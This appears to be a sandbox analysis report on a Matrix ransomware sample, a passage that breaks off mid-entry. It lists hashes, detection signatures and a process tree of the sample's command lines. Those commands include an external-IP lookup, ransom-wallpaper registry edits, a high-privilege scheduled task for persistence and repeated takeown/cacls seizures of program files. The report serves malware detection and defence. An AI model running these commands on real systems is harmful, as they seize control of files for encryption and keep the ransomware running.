Overview

overview

10

Static

static

FoxRansomw...65.exe

windows7_x64

10

FoxRansomw...65.exe

windows10-2004_x64

10

FoxRansomw...a7.exe

windows7_x64

10

FoxRansomw...a7.exe

windows10-2004_x64

10

FoxRansomw...20.exe

windows7_x64

10

FoxRansomw...20.exe

windows10-2004_x64

10

FoxRansomw...0b.exe

windows7_x64

10

FoxRansomw...0b.exe

windows10-2004_x64

10

FoxRansomw...53.exe

windows7_x64

10

FoxRansomw...53.exe

windows10-2004_x64

10

FoxRansomw...b1.exe

windows7_x64

10

FoxRansomw...b1.exe

windows10-2004_x64

10

Analysis

  • max time kernel
    158s
  • max time network
    135s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    01-02-2022 08:39

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe

  • Size

    1.2MB

  • MD5

    268360527625d09e747d9f7ab1f84da5

  • SHA1

    09772eb89c9743d3a6d7b2709c76e9740aa4c4b1

  • SHA256

    42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620

  • SHA512

    07fba0c06040fe4ef5f812a52d639bdea6cbe5bf7ff4560403ad12955e6b1ff2b4615361ac4533696a6c5e12d36fb2d2e0df3da2927f6b45f154f0a4e83315e1

Score
10/10
matrixdiscoverypersistenceransomwarespywarestealersuricataupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity

    suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity

    suricata
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 64 IoCs
  • Modifies extensions of user files 1 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets service image path in registry 2 TTPs
    persistence
  • UPX packed file 54 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Loads dropped DLL 64 IoCs
  • Modifies file permissions 1 TTPs 38 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops desktop.ini file(s) 15 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
    "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe"
    1⤵
    • Matrix Ransomware
    • Modifies extensions of user files
    • Loads dropped DLL
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:1552
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NW1p1jD5.exe"
      2⤵
        PID:1372
      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NW1p1jD5.exe
        "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NW1p1jD5.exe" -n
        2⤵
        • Executes dropped EXE
        PID:1456
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\z0VqnEn1.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1504
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2040
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\8ZLwIiy4.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:324
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\8ZLwIiy4.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:2036
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:1620
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
              PID:1364
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\CTSPDq6I.vbs"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1308
            • C:\Windows\SysWOW64\wscript.exe
              wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\CTSPDq6I.vbs"
              3⤵
                PID:540
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\uPd6kpQD.bat" /sc minute /mo 5 /RL HIGHEST /F
                  4⤵
                    PID:1364
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\uPd6kpQD.bat" /sc minute /mo 5 /RL HIGHEST /F
                      5⤵
                      • Creates scheduled task(s)
                      PID:1652
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                    4⤵
                      PID:964
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /Run /I /tn DSHCA
                        5⤵
                          PID:1232
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf""
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1404
                    • C:\Windows\SysWOW64\cacls.exe
                      cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf" /E /G Admin:F /C
                      3⤵
                        PID:1244
                      • C:\Windows\SysWOW64\takeown.exe
                        takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf"
                        3⤵
                        • Modifies file permissions
                        PID:1752
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner
                        3⤵
                        • Loads dropped DLL
                        • Suspicious use of WriteProcessMemory
                        PID:916
                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                          x8OFcCor.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner
                          4⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Suspicious use of WriteProcessMemory
                          PID:304
                          • C:\Users\Admin\AppData\Local\Temp\x8OFcCor64.exe
                            x8OFcCor.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner
                            5⤵
                            • Drops file in Drivers directory
                            • Executes dropped EXE
                            • Enumerates connected drives
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious behavior: LoadsDriver
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1468
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf""
                      2⤵
                      • Loads dropped DLL
                      PID:1608
                      • C:\Windows\SysWOW64\cacls.exe
                        cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf" /E /G Admin:F /C
                        3⤵
                          PID:1260
                        • C:\Windows\SysWOW64\takeown.exe
                          takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\AdobeID.pdf"
                          3⤵
                          • Modifies file permissions
                          PID:1732
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "AdobeID.pdf" -nobanner
                          3⤵
                          • Loads dropped DLL
                          PID:1728
                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                            x8OFcCor.exe -accepteula "AdobeID.pdf" -nobanner
                            4⤵
                            • Executes dropped EXE
                            PID:1876
                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                          x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                          3⤵
                          • Executes dropped EXE
                          PID:1140
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf""
                        2⤵
                        • Loads dropped DLL
                        PID:1520
                        • C:\Windows\SysWOW64\cacls.exe
                          cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf" /E /G Admin:F /C
                          3⤵
                            PID:1624
                          • C:\Windows\SysWOW64\takeown.exe
                            takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf"
                            3⤵
                            • Modifies file permissions
                            PID:1460
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "DefaultID.pdf" -nobanner
                            3⤵
                            • Loads dropped DLL
                            PID:564
                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                              x8OFcCor.exe -accepteula "DefaultID.pdf" -nobanner
                              4⤵
                              • Executes dropped EXE
                              PID:1808
                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                            x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                            3⤵
                            • Executes dropped EXE
                            PID:1176
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf""
                          2⤵
                          • Loads dropped DLL
                          PID:1160
                          • C:\Windows\SysWOW64\cacls.exe
                            cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf" /E /G Admin:F /C
                            3⤵
                              PID:912
                            • C:\Windows\SysWOW64\takeown.exe
                              takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf"
                              3⤵
                              • Modifies file permissions
                              PID:1632
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "StandardBusiness.pdf" -nobanner
                              3⤵
                              • Loads dropped DLL
                              PID:992
                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                x8OFcCor.exe -accepteula "StandardBusiness.pdf" -nobanner
                                4⤵
                                • Executes dropped EXE
                                PID:2036
                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                              x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                              3⤵
                              • Executes dropped EXE
                              PID:1644
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf""
                            2⤵
                            • Loads dropped DLL
                            PID:1280
                            • C:\Windows\SysWOW64\cacls.exe
                              cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf" /E /G Admin:F /C
                              3⤵
                                PID:1184
                              • C:\Windows\SysWOW64\takeown.exe
                                takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf"
                                3⤵
                                • Modifies file permissions
                                PID:964
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "SignHere.pdf" -nobanner
                                3⤵
                                • Loads dropped DLL
                                PID:240
                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                  x8OFcCor.exe -accepteula "SignHere.pdf" -nobanner
                                  4⤵
                                  • Executes dropped EXE
                                  PID:1752
                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                3⤵
                                • Executes dropped EXE
                                PID:1312
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf""
                              2⤵
                              • Loads dropped DLL
                              PID:572
                              • C:\Windows\SysWOW64\cacls.exe
                                cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf" /E /G Admin:F /C
                                3⤵
                                  PID:1700
                                • C:\Windows\SysWOW64\takeown.exe
                                  takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf"
                                  3⤵
                                  • Modifies file permissions
                                  PID:1876
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "Dynamic.pdf" -nobanner
                                  3⤵
                                  • Loads dropped DLL
                                  PID:1728
                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                    x8OFcCor.exe -accepteula "Dynamic.pdf" -nobanner
                                    4⤵
                                    • Executes dropped EXE
                                    PID:616
                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                  x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                  3⤵
                                  • Executes dropped EXE
                                  PID:1708
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf""
                                2⤵
                                • Loads dropped DLL
                                PID:576
                                • C:\Windows\SysWOW64\cacls.exe
                                  cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf" /E /G Admin:F /C
                                  3⤵
                                    PID:1484
                                  • C:\Windows\SysWOW64\takeown.exe
                                    takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf"
                                    3⤵
                                    • Modifies file permissions
                                    PID:668
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "ENUtxt.pdf" -nobanner
                                    3⤵
                                    • Loads dropped DLL
                                    PID:1592
                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                      x8OFcCor.exe -accepteula "ENUtxt.pdf" -nobanner
                                      4⤵
                                      • Executes dropped EXE
                                      PID:1964
                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                    x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                    3⤵
                                    • Executes dropped EXE
                                    PID:1088
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa""
                                  2⤵
                                  • Loads dropped DLL
                                  PID:608
                                  • C:\Windows\SysWOW64\cacls.exe
                                    cacls "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa" /E /G Admin:F /C
                                    3⤵
                                      PID:1696
                                    • C:\Windows\SysWOW64\takeown.exe
                                      takeown /F "C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\classes.jsa"
                                      3⤵
                                      • Modifies file permissions
                                      PID:1172
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "classes.jsa" -nobanner
                                      3⤵
                                      • Loads dropped DLL
                                      PID:992
                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                        x8OFcCor.exe -accepteula "classes.jsa" -nobanner
                                        4⤵
                                        • Executes dropped EXE
                                        PID:1576
                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                      x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                      3⤵
                                      • Executes dropped EXE
                                      PID:1744
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files\Java\jre7\bin\server\classes.jsa""
                                    2⤵
                                    • Loads dropped DLL
                                    PID:1872
                                    • C:\Windows\SysWOW64\cacls.exe
                                      cacls "C:\Program Files\Java\jre7\bin\server\classes.jsa" /E /G Admin:F /C
                                      3⤵
                                        PID:1180
                                      • C:\Windows\SysWOW64\takeown.exe
                                        takeown /F "C:\Program Files\Java\jre7\bin\server\classes.jsa"
                                        3⤵
                                        • Modifies file permissions
                                        PID:1988
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "classes.jsa" -nobanner
                                        3⤵
                                        • Loads dropped DLL
                                        PID:1700
                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                          x8OFcCor.exe -accepteula "classes.jsa" -nobanner
                                          4⤵
                                          • Executes dropped EXE
                                          PID:1876
                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                        x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                        3⤵
                                        • Executes dropped EXE
                                        PID:616
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png""
                                      2⤵
                                      • Loads dropped DLL
                                      PID:1528
                                      • C:\Windows\SysWOW64\cacls.exe
                                        cacls "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png" /E /G Admin:F /C
                                        3⤵
                                          PID:1068
                                        • C:\Windows\SysWOW64\takeown.exe
                                          takeown /F "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png"
                                          3⤵
                                          • Modifies file permissions
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1964
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "HeartsMCE.png" -nobanner
                                          3⤵
                                          • Loads dropped DLL
                                          PID:1628
                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                            x8OFcCor.exe -accepteula "HeartsMCE.png" -nobanner
                                            4⤵
                                            • Executes dropped EXE
                                            PID:1704
                                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                          x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                          3⤵
                                          • Executes dropped EXE
                                          PID:576
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png""
                                        2⤵
                                        • Loads dropped DLL
                                        PID:912
                                        • C:\Windows\SysWOW64\cacls.exe
                                          cacls "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png" /E /G Admin:F /C
                                          3⤵
                                            PID:1160
                                          • C:\Windows\SysWOW64\takeown.exe
                                            takeown /F "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png"
                                            3⤵
                                            • Modifies file permissions
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:324
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "MahjongMCE.png" -nobanner
                                            3⤵
                                            • Loads dropped DLL
                                            PID:2040
                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                              x8OFcCor.exe -accepteula "MahjongMCE.png" -nobanner
                                              4⤵
                                              • Executes dropped EXE
                                              PID:1676
                                          • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                            x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                            3⤵
                                            • Executes dropped EXE
                                            PID:596
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png""
                                          2⤵
                                          • Loads dropped DLL
                                          PID:2036
                                          • C:\Windows\SysWOW64\cacls.exe
                                            cacls "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png" /E /G Admin:F /C
                                            3⤵
                                              PID:1624
                                            • C:\Windows\SysWOW64\takeown.exe
                                              takeown /F "C:\Program Files\Microsoft Games\Purble Place\PurblePlaceMCE.png"
                                              3⤵
                                              • Modifies file permissions
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:540
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "PurblePlaceMCE.png" -nobanner
                                              3⤵
                                              • Loads dropped DLL
                                              PID:1308
                                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                x8OFcCor.exe -accepteula "PurblePlaceMCE.png" -nobanner
                                                4⤵
                                                • Executes dropped EXE
                                                PID:1096
                                            • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                              x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                              3⤵
                                              • Executes dropped EXE
                                              PID:1752
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png""
                                            2⤵
                                            • Loads dropped DLL
                                            PID:1456
                                            • C:\Windows\SysWOW64\cacls.exe
                                              cacls "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png" /E /G Admin:F /C
                                              3⤵
                                                PID:1140
                                              • C:\Windows\SysWOW64\takeown.exe
                                                takeown /F "C:\Program Files\Microsoft Games\FreeCell\FreeCellMCE.png"
                                                3⤵
                                                • Modifies file permissions
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:1452
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "FreeCellMCE.png" -nobanner
                                                3⤵
                                                • Loads dropped DLL
                                                PID:1700
                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                  x8OFcCor.exe -accepteula "FreeCellMCE.png" -nobanner
                                                  4⤵
                                                  • Executes dropped EXE
                                                  PID:1104
                                              • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                3⤵
                                                • Executes dropped EXE
                                                PID:1972
                                            • C:\Windows\SysWOW64\cmd.exe
                                              cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png""
                                              2⤵
                                              • Loads dropped DLL
                                              PID:1868
                                              • C:\Windows\SysWOW64\cacls.exe
                                                cacls "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png" /E /G Admin:F /C
                                                3⤵
                                                  PID:1088
                                                • C:\Windows\SysWOW64\takeown.exe
                                                  takeown /F "C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaireMCE.png"
                                                  3⤵
                                                  • Modifies file permissions
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:1760
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "SpiderSolitaireMCE.png" -nobanner
                                                  3⤵
                                                  • Loads dropped DLL
                                                  PID:1628
                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                    x8OFcCor.exe -accepteula "SpiderSolitaireMCE.png" -nobanner
                                                    4⤵
                                                    • Executes dropped EXE
                                                    PID:804
                                                • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                  x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                  3⤵
                                                  • Executes dropped EXE
                                                  PID:564
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig""
                                                2⤵
                                                • Loads dropped DLL
                                                PID:324
                                                • C:\Windows\SysWOW64\cacls.exe
                                                  cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig" /E /G Admin:F /C
                                                  3⤵
                                                    PID:1184
                                                  • C:\Windows\SysWOW64\takeown.exe
                                                    takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig"
                                                    3⤵
                                                    • Modifies file permissions
                                                    PID:1640
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "cryptocme2.sig" -nobanner
                                                    3⤵
                                                    • Loads dropped DLL
                                                    PID:596
                                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                      x8OFcCor.exe -accepteula "cryptocme2.sig" -nobanner
                                                      4⤵
                                                      • Executes dropped EXE
                                                      PID:1696
                                                  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                    x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                    3⤵
                                                    • Executes dropped EXE
                                                    PID:796
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\xPOZQ4vb.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer""
                                                  2⤵
                                                  • Loads dropped DLL
                                                  PID:1188
                                                  • C:\Windows\SysWOW64\cacls.exe
                                                    cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer" /E /G Admin:F /C
                                                    3⤵
                                                      PID:540
                                                    • C:\Windows\SysWOW64\takeown.exe
                                                      takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer"
                                                      3⤵
                                                      • Modifies file permissions
                                                      PID:1232
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c x8OFcCor.exe -accepteula "AUMProduct.cer" -nobanner
                                                      3⤵
                                                      • Loads dropped DLL
                                                      PID:1096
                                                      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                        x8OFcCor.exe -accepteula "AUMProduct.cer" -nobanner
                                                        4⤵
                                                        • Executes dropped EXE
                                                        PID:1308
                                                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\x8OFcCor.exe
                                                      x8OFcCor.exe -accepteula -c Run -y -p extract -nobanner
                                                      3⤵
                                                      • Executes dropped EXE
                                                      PID:884
                                                  • C:\Windows\SysWOW64\cmd.exe
